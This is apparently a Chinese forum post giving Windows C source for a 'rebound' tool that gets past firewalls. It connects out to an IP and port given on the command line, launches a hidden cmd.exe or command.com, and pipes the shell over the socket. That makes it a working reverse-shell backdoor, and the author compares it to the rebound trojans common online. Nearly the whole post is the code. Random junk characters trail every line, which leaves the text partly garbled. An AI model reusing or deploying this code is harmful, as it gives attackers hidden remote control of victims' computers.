这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *onVG5<
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/* ============================== ;H9 W:_ahE
Rebound port in Windows NT `4wy
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By wind,2006/7 0-p
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===============================*/ 5t|$Yt[
#include LI>Bl
#include r,q.RWuII
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#pragma comment(lib,"wsock32.lib") ' pIC~
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void OutputShell(); h-fm)1S_
SOCKET sClient; qe/5'dw
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; u qA!#E
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void main(int argc,char **argv) |@VhR(^O$
{ $."Fz
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WSADATA stWsaData; /#j)GlNp:
int nRet; ` 5n^DP*X
SOCKADDR_IN stSaiClient,stSaiServer; SeuDJxqopD
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if(argc != 3) 58R.`5B
{ m~4ik1wq
printf("Useage:\n\rRebound DestIP DestPort\n"); "]W,,A-
return; `Om
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} 5sSAH
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WSAStartup(MAKEWORD(2,2),&stWsaData); +0%Y.O/{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EyHL&
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stSaiClient.sin_family = AF_INET; pcQgWjfS
stSaiClient.sin_port = htons(0); NTSIClm}U
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); qcge#S>
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) nELY( z
{ BU|)lU5)z
printf("Bind Socket Failed!\n"); i=&]%T6Qk
return; FGeKhA 8jT
} aGAr24]y
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stSaiServer.sin_family = AF_INET; ;p87^:
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); x6ayFq=
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5Q: %f
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7>F [7_
{ ( X+2vN
printf("Connect Error!"); S;oRE'kk
return; ^1<i7u
} /m i&7C(6
OutputShell(); ?Ss~!38
} O\6gw$
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void OutputShell() 2*]
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{ a'd=szt
char szBuff[1024]; iiWpmE<,
SECURITY_ATTRIBUTES stSecurityAttributes; SiJ{
OSVERSIONINFO stOsversionInfo; 6PC?*^v
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; wOLV?Vk
STARTUPINFO stStartupInfo; "U$](k.<VA
char *szShell; 2B5Ez,'#x
PROCESS_INFORMATION stProcessInformation; o_5[}d
unsigned long lBytesRead; n/e ,jw
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); dp4vybJ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?}= $zN
stSecurityAttributes.lpSecurityDescriptor = 0; jv6>7@<G
stSecurityAttributes.bInheritHandle = TRUE; 1=e(g#Ajn\
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); BkY#wJ'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ab#z&jg!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); jy_4W!4a
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :Ys
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stStartupInfo.wShowWindow = SW_HIDE; X":2o|R
stStartupInfo.hStdInput = hReadPipe; KTwP.!<v
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |?hsMN
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GetVersionEx(&stOsversionInfo); m"6K_4r]
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switch(stOsversionInfo.dwPlatformId)
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{ IkxoW:L
case 1: `$FB[Z} &
szShell = "command.com"; qEVpkvEq
break; P+C5
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default: ?.n1t@sG&
szShell = "cmd.exe"; \j &&o
break; <GLoTolZ
} ",#Ug"|2
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); jVHS1Vsei
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send(sClient,szMsg,77,0); jhBfy|Ftu
while(1) P*OT&q
{ Z`|\%D%
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); InRcIQT
if(lBytesRead) -Owb@Nw
{ 7Jd&9&O U
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); lHHx D
send(sClient,szBuff,lBytesRead,0); px(~ZZB"
} N/<c;"o
else _H-Fm$Q
{ PO^#G@
lBytesRead=recv(sClient,szBuff,1024,0); rq\<zx]au
if(lBytesRead<=0) break; UUa@7|x
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1^ go)(Mx
} }lCQ+s!
} ]24]id
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return; B~J63Os/
}